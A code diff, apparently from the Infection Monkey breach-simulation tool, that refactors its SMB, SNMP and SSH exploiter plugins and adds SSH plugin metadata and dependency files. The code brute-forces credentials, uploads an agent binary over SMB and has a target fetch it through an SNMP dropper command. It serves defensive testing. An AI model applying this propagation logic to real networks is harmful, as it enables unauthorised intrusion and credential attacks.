def _get_smb_connection(self) -> SMBConnection: + @property + def _established_smb_connection(self) -> SMBConnection: if not self._smb_connection: raise Exception("SMB connection not established") return self._smb_connection @@ -77,8 +78,10 @@ def _get_smb_connection(self) -> SMBConnection: def _create_smb_connection(self, host: TargetHost): """Connect to host over SMB. Raise Exception if connection fails""" try: + # preferredDialect should be kept as None to choose the correct SMB version + # For more context check https://github.com/guardicore/monkey/issues/3577 self._smb_connection = SMBConnection( - str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT + str(host.ip), str(host.ip), sess_port=445, preferredDialect=None ) return except SessionError as err: @@ -96,13 +99,21 @@ def _create_smb_connection(self, host: TargetHost): def _smb_login(self, credentials: Credentials): """Raise SessionError if login fails""" - self._get_smb_connection().login( + self._established_smb_connection.login( user=credentials.identity.username, domain="", **self._build_args_for_secrets(credentials), ) + self._log_smb_dialect() self._authenticated = True - self._authenticated_credentials = self._get_smb_connection().getCredentials() + self._authenticated_credentials = self._established_smb_connection.getCredentials() + + def _log_smb_dialect(self): + try: + smb_dialect = self._established_smb_connection.getDialect() + logger.debug(f"SMB dialect is: {smb_dialect}") + except Exception as err: + logger.debug(f"Exception occured retrieving SMB dialect: {err}") @staticmethod def _build_args_for_secrets(credentials: Credentials) -> Dict[str, str]: @@ -122,7 +133,7 @@ def _build_args_for_secrets(credentials: Credentials) -> Dict[str, str]: def _logout_guest(self): """Return True if logged in as guest. Raise SessionError if logout fails""" - smb_connection = self._get_smb_connection() + smb_connection = self._established_smb_connection if smb_connection.isGuestSession() > 0: smb_connection.logoff() return True @@ -135,7 +146,7 @@ def connect_to_share(self, share_name: str): :param share_name: Name of the SMB share to connect to :raises SessionError: If an error occurred while connecting to share """ - self._get_smb_connection().connectTree(share_name) + self._established_smb_connection.connectTree(share_name) def query_shared_resources(self) -> Tuple[ShareInfo, ...]: """ @@ -167,7 +178,7 @@ def _execute_rpc_call(self, rpc_func, *args) -> Any: :param rpc_func: Helpers' RPC function :raises SessionError: If an error occurs while executing an RPC call """ - smb_connection = self._get_smb_connection() + smb_connection = self._established_smb_connection rpc_transport = transport.SMBTransport( smb_connection.getRemoteHost(), smb_connection.getRemoteHost(), @@ -242,7 +253,7 @@ def _rpc_connect( # Try to use the existing SMB connection try: smb_transport = transport.SMBTransport( - self._get_smb_connection().getRemoteName(), + self._established_smb_connection.getRemoteName(), filename="\\svcctl", smb_connection=self._smb_connection, ) @@ -297,7 +308,7 @@ def send_file(self, share_name: str, path_name: PureWindowsPath, file: bytes): :raises Exception: If an error occurred while sending the file """ file_io = BytesIO(file) - self._get_smb_connection().putFile(share_name, str(path_name), file_io.read) + self._established_smb_connection.putFile(share_name, str(path_name), file_io.read) def set_timeout(self, timeout: float): """ @@ -306,4 +317,4 @@ def set_timeout(self, timeout: float): :param timeout: Connection timeout, in seconds :raises Exception: If an error occurs """ - self._get_smb_connection().setTimeout(timeout) + self._established_smb_connection.setTimeout(timeout) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py index b2308765c93..cfbf0fb54de 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Sequence -from common import OperatingSystem from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.types import AgentID from infection_monkey.exploit import IAgentOTPProvider @@ -13,14 +12,10 @@ def build_smb_command( agent_id: AgentID, servers: Sequence[str], current_depth: int, - operating_system: OperatingSystem, remote_agent_binary_full_path: PurePath, remote_agent_binary_destination_path: PurePath, otp_provider: IAgentOTPProvider, ) -> str: - if operating_system != OperatingSystem.WINDOWS: - raise Exception(f"Unsupported operating system: {operating_system}") - otp = SET_OTP_WINDOWS % { "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, "agent_otp": otp_provider.get_otp(), diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py index 949d9ec67a6..3f7307f2f2d 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py @@ -3,6 +3,7 @@ from typing import Callable, List, Set, Tuple, Type from common import OperatingSystem +from common.agent_events import AgentEventTag from common.credentials import Credentials from common.tags import ( BRUTE_FORCE_T1110_TAG, @@ -53,7 +54,7 @@ def __init__( self, host: TargetHost, options: SMBOptions, - command_builder: Callable[[OperatingSystem, PurePath], str], + command_builder: Callable[[PurePath], str], smb_client: SMBClient, ): self._host = host @@ -61,7 +62,7 @@ def __init__( self._command_builder = command_builder self._smb_client = smb_client - def login(self, credentials: Credentials, tags: Set[str]): + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): tags.update(LOGIN_TAGS) try: @@ -81,14 +82,14 @@ def _raise_if_not_authenticated(self, error_type: Type[Exception]): def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): self._raise_if_not_authenticated(RemoteCommandExecutionError) try: tags.update(EXECUTION_TAGS) self._smb_client.run_service( SERVICE_NAME, - self._command_builder(self.get_os(), agent_binary_path), + self._command_builder(agent_binary_path), self._host, SMB_PORTS, self._options.smb_connect_timeout, @@ -96,7 +97,7 @@ def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): except Exception as err: raise RemoteCommandExecutionError(err) - def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]): self._raise_if_not_authenticated(RemoteFileCopyError) logger.debug( @@ -139,7 +140,7 @@ def _query_shares(self) -> Tuple[ShareInfo, ...]: return tuple(writable_shares) def _copy_file_to_share( - self, file: bytes, share: ShareInfo, destination_path: PurePath, tags: Set[str] + self, file: bytes, share: ShareInfo, destination_path: PurePath, tags: Set[AgentEventTag] ): self._connect_to_share(share) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py index d935af8c6b5..d917721ea65 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Any, Callable -from common import OperatingSystem from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost @@ -15,7 +14,7 @@ def __init__( self, host: TargetHost, options: SMBOptions, - command_builder: Callable[[OperatingSystem, PurePath], str], + command_builder: Callable[[PurePath], str], ): self._host = host self._options = options diff --git a/monkey/agent_plugins/exploiters/snmp/manifest.yaml b/monkey/agent_plugins/exploiters/snmp/manifest.yaml index 623da9e4f41..f8ac3db2f61 100644 --- a/monkey/agent_plugins/exploiters/snmp/manifest.yaml +++ b/monkey/agent_plugins/exploiters/snmp/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - linux title: SNMP Exploiter -version: 1.0.0 +version: 2.0.0 description: Attempts remote command execution over SNMP using known credentials. safe: true remediation_suggestion: >- diff --git a/monkey/agent_plugins/exploiters/snmp/src/plugin.py b/monkey/agent_plugins/exploiters/snmp/src/plugin.py index 46c75f8231f..783cc4b2231 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/plugin.py +++ b/monkey/agent_plugins/exploiters/snmp/src/plugin.py @@ -9,15 +9,19 @@ from common.utils.code_utils import del_key # dependencies to get rid of or internalize -from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider +from infection_monkey.exploit import ( + IAgentBinaryRepository, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, +) from infection_monkey.exploit.tools import all_udp_ports_are_closed from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.exploit.tools.http_agent_binary_server import start_dropper_script_server -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.model import MONKEY_ARG from infection_monkey.network import TCPPortSelector from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.commands import build_monkey_commandline_parameters +from infection_monkey.utils.script_dropper import build_bash_dropper from .community_string_generator import generate_community_strings from .snmp_client import SNMPClient @@ -49,6 +53,7 @@ def __init__( agent_id: AgentID, agent_event_publisher: IAgentEventPublisher, agent_binary_repository: IAgentBinaryRepository, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, propagation_credentials_repository: IPropagationCredentialsRepository, tcp_port_selector: TCPPortSelector, otp_provider: IAgentOTPProvider, @@ -58,6 +63,7 @@ def __init__( self._agent_id = agent_id self._agent_event_publisher = agent_event_publisher self._agent_binary_repository = agent_binary_repository + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar self._propagation_credentials_repository = propagation_credentials_repository self._tcp_port_selector = tcp_port_selector self._otp_provider = otp_provider @@ -71,7 +77,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -81,7 +87,7 @@ def run( except Exception as err: msg = f"Failed to parse SNMP options: {err}" logger.exception(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -90,7 +96,7 @@ def run( attempt_exploit, msg = should_attempt_exploit(host, snmp_client) if not attempt_exploit: logger.debug(f"Skipping brute force of host {host.ip}: {msg}") - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -105,7 +111,7 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -119,22 +125,17 @@ def _create_snmp_exploiter( exploit_client = SNMPExploitClient( self._agent_id, self._agent_event_publisher, self._plugin_name, snmp_client ) + destination_path = get_agent_dst_path(target_host) args = [MONKEY_ARG] args.extend( build_monkey_commandline_parameters( parent=self._agent_id, servers=servers, depth=current_depth + 1 ) ) - dropper_script_server_factory = partial( - start_dropper_script_server, - target_host=target_host, - agent_binary_repository=self._agent_binary_repository, - tcp_port_selector=self._tcp_port_selector, - destination_path=get_agent_dst_path(target_host), - args=args, - ) + dropper_transform = partial(build_bash_dropper, destination_path, args) return SNMPExploiter( exploit_client, - dropper_script_server_factory, + self._http_agent_binary_server_registrar, + dropper_transform, self._otp_provider, ) diff --git a/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py b/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py index d302b929869..49230858d7b 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py +++ b/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py @@ -1,4 +1,3 @@ -from common import OperatingSystem from infection_monkey.i_puppet import TargetHost from infection_monkey.utils.commands import build_dropper_script_deploy_command @@ -8,8 +7,5 @@ def build_snmp_command( agent_download_url: str, otp: str, ) -> str: - if target_host.operating_system == OperatingSystem.WINDOWS: - raise Exception(f"Unsupported operating system: {target_host.operating_system}") - deploy_command = build_dropper_script_deploy_command(target_host, agent_download_url, otp) return f'-c "{deploy_command}"' diff --git a/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py b/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py index 684b95f17e0..4f3eeedfd3b 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py +++ b/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py @@ -1,11 +1,14 @@ from logging import getLogger -from pathlib import PurePath -from typing import Callable, Iterable +from typing import Iterable from common.types import Event -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.exploit import ( + AgentBinaryTransform, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, + ReservationID, +) +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.utils.threading import interruptible_iter from .snmp_command_builder import build_snmp_command @@ -14,18 +17,18 @@ logger = getLogger(__name__) -DropperScriptServerFactory = Callable[[], HTTPBytesServer] - class SNMPExploiter: def __init__( self, exploit_client: SNMPExploitClient, - dropper_script_server_factory: DropperScriptServerFactory, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, + transform_agent_binary: AgentBinaryTransform, otp_provider: IAgentOTPProvider, ): self._exploit_client = exploit_client - self._dropper_script_server_factory = dropper_script_server_factory + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar + self._transform_agent_binary = transform_agent_binary self._otp_provider = otp_provider def exploit_host( @@ -34,24 +37,26 @@ def exploit_host( options: SNMPOptions, community_strings: Iterable[str], interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: try: logger.debug("Starting the agent binary server") - agent_binary_http_server = self._dropper_script_server_factory() + download_ticket = self._http_agent_binary_server_registrar.reserve_download( + host.operating_system, host.ip, self._transform_agent_binary + ) except Exception as err: msg = ( "An unexpected exception occurred while attempting to start the agent binary HTTP " f"server: {err}" ) logger.exception(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) command = build_snmp_command( host, - agent_binary_http_server.download_url, + download_ticket.download_url, self._otp_provider.get_otp(), ) @@ -61,17 +66,19 @@ def exploit_host( options, community_strings, command, - agent_binary_http_server.bytes_downloaded, + download_ticket.download_completed, interrupt, ) except Exception as err: msg = f"An unexpected exception occurred while exploiting host {host} with SNMP: {err}" logger.exception(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) finally: - _stop_agent_binary_http_server(agent_binary_http_server) + _clear_agent_binary_reservation( + self._http_agent_binary_server_registrar, download_ticket.id + ) def _brute_force_exploit_host( self, @@ -81,8 +88,8 @@ def _brute_force_exploit_host( command: str, agent_binary_downloaded: Event, interrupt: Event, - ) -> ExploiterResultData: - exploit_result = ExploiterResultData(exploitation_success=False, propagation_success=False) + ) -> ExploiterResult: + exploit_result = ExploiterResult(exploitation_success=False, propagation_success=False) for community_string in interruptible_iter(community_strings, interrupt): ( @@ -102,9 +109,13 @@ def _brute_force_exploit_host( return exploit_result -def _stop_agent_binary_http_server(agent_binary_http_server: HTTPBytesServer): +def _clear_agent_binary_reservation( + agent_binary_http_registrar: IHTTPAgentBinaryServerRegistrar, reservation_id: ReservationID +): try: - logger.debug("Stopping the agent binary server") - agent_binary_http_server.stop() + logger.debug("Clearing the agent binary download reservation") + agent_binary_http_registrar.clear_reservation(reservation_id) except Exception: - logger.exception("An unexpected error occurred while stopping the HTTP server") + logger.exception( + "An unexpected error occurred while clearing the agent binary download reservation" + ) diff --git a/monkey/agent_plugins/exploiters/ssh/Pipfile b/monkey/agent_plugins/exploiters/ssh/Pipfile new file mode 100644 index 00000000000..e7d59ec88cf --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/Pipfile @@ -0,0 +1,12 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +paramiko = ">=3.1.0" + +[dev-packages] + +[requires] +python_version = "3.11" diff --git a/monkey/agent_plugins/exploiters/ssh/Pipfile.lock b/monkey/agent_plugins/exploiters/ssh/Pipfile.lock new file mode 100644 index 00000000000..1a49370e8b0 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/Pipfile.lock @@ -0,0 +1,177 @@ +{ + "_meta": { + "hash": { + "sha256": "94b8905dcdda38ad6d1c65b0209dfba6304fa2c209e3ae875a48cfc7d7ebf597" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "bcrypt": { + "hashes": [ + "sha256:089098effa1bc35dc055366740a067a2fc76987e8ec75349eb9484061c54f535", + "sha256:08d2947c490093a11416df18043c27abe3921558d2c03e2076ccb28a116cb6d0", + "sha256:0eaa47d4661c326bfc9d08d16debbc4edf78778e6aaba29c1bc7ce67214d4410", + "sha256:27d375903ac8261cfe4047f6709d16f7d18d39b1ec92aaf72af989552a650ebd", + "sha256:2b3ac11cf45161628f1f3733263e63194f22664bf4d0c0f3ab34099c02134665", + "sha256:2caffdae059e06ac23fce178d31b4a702f2a3264c20bfb5ff541b338194d8fab", + "sha256:3100851841186c25f127731b9fa11909ab7b1df6fc4b9f8353f4f1fd952fbf71", + "sha256:5ad4d32a28b80c5fa6671ccfb43676e8c1cc232887759d1cd7b6f56ea4355215", + "sha256:67a97e1c405b24f19d08890e7ae0c4f7ce1e56a712a016746c8b2d7732d65d4b", + "sha256:705b2cea8a9ed3d55b4491887ceadb0106acf7c6387699fca771af56b1cdeeda", + "sha256:8a68f4341daf7522fe8d73874de8906f3a339048ba406be6ddc1b3ccb16fc0d9", + "sha256:a522427293d77e1c29e303fc282e2d71864579527a04ddcfda6d4f8396c6c36a", + "sha256:ae88eca3024bb34bb3430f964beab71226e761f51b912de5133470b649d82344", + "sha256:b1023030aec778185a6c16cf70f359cbb6e0c289fd564a7cfa29e727a1c38f8f", + "sha256:b3b85202d95dd568efcb35b53936c5e3b3600c7cdcc6115ba461df3a8e89f38d", + "sha256:b57adba8a1444faf784394de3436233728a1ecaeb6e07e8c22c8848f179b893c", + "sha256:bf4fa8b2ca74381bb5442c089350f09a3f17797829d958fad058d6e44d9eb83c", + "sha256:ca3204d00d3cb2dfed07f2d74a25f12fc12f73e606fcaa6975d1f7ae69cacbb2", + "sha256:cbb03eec97496166b704ed663a53680ab57c5084b2fc98ef23291987b525cb7d", + "sha256:e9a51bbfe7e9802b5f3508687758b564069ba937748ad7b9e890086290d2f79e", + "sha256:fbdaec13c5105f0c4e5c52614d04f0bca5f5af007910daa8b6b12095edaa67b3" + ], + "markers": "python_version >= '3.6'", + "version": "==4.0.1" + }, + "cffi": { + "hashes": [ + "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", + "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", + "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", + "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", + "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", + "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", + "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", + "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", + "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", + "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", + "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", + "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", + "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", + "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", + "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", + "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", + "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", + "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", + "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", + "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", + "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", + "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", + "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", + "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", + "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", + "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", + "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", + "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", + "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", + "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", + "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", + "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", + "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", + "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", + "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", + "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", + "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", + "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", + "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", + "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", + "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", + "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", + "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", + "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", + "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", + "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", + "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", + "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", + "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", + "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", + "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", + "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", + "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", + "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", + "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", + "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", + "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", + "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", + "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", + "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", + "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", + "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", + "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", + "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" + ], + "version": "==1.15.1" + }, + "cryptography": { + "hashes": [ + "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711", + "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7", + "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd", + "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e", + "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58", + "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0", + "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d", + "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83", + "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831", + "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766", + "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b", + "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c", + "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182", + "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f", + "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa", + "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4", + "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a", + "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2", + "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76", + "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5", + "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee", + "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f", + "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14" + ], + "index": "pypi", + "version": "==41.0.2" + }, + "paramiko": { + "hashes": [ + "sha256:93cdce625a8a1dc12204439d45033f3261bdb2c201648cfcdc06f9fd0f94ec29", + "sha256:df0f9dd8903bc50f2e10580af687f3015bf592a377cd438d2ec9546467a14eb8" + ], + "index": "pypi", + "version": "==3.2.0" + }, + "pycparser": { + "hashes": [ + "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", + "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206" + ], + "version": "==2.21" + }, + "pynacl": { + "hashes": [ + "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", + "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", + "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", + "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", + "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", + "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", + "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", + "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", + "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", + "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543" + ], + "markers": "python_version >= '3.6'", + "version": "==1.5.0" + } + }, + "develop": {} +} diff --git a/monkey/agent_plugins/exploiters/ssh/config-schema.json b/monkey/agent_plugins/exploiters/ssh/config-schema.json new file mode 100644 index 00000000000..a0c05a9faa8 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/config-schema.json @@ -0,0 +1,12 @@ +{ + "properties": { + "connect_timeout": { + "title": "SSH connection timeout", + "description": "The maximum time (in seconds) to wait to establish an SSH connection.", + "type": "number", + "minimum": 0, + "default": 15.0, + "maximum": 100.0 + } + } +} diff --git a/monkey/agent_plugins/exploiters/ssh/manifest.yaml b/monkey/agent_plugins/exploiters/ssh/manifest.yaml new file mode 100644 index 00000000000..0279d7cf510 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/manifest.yaml @@ -0,0 +1,18 @@ +name: SSH +plugin_type: Exploiter +supported_operating_systems: + - linux + - windows +target_operating_systems: + - linux +title: SSH Exploiter +version: 1.0.0 +description: Attempts a brute-force attack against SSH using known credentials, including SSH keys. +safe: true +remediation_suggestion: >- + Change user passwords to complex one-use passwords that are not shared with other computers on the network. + Protect private keys with a pass phrase. + + The machine is vulnerable to an SSH attack. + An Infection Monkey Agent authenticated over the SSH protocol using stolen/configured credentials. +link_to_documentation: https://techdocs.akamai.com/infection-monkey/docs/sshexec/ diff --git 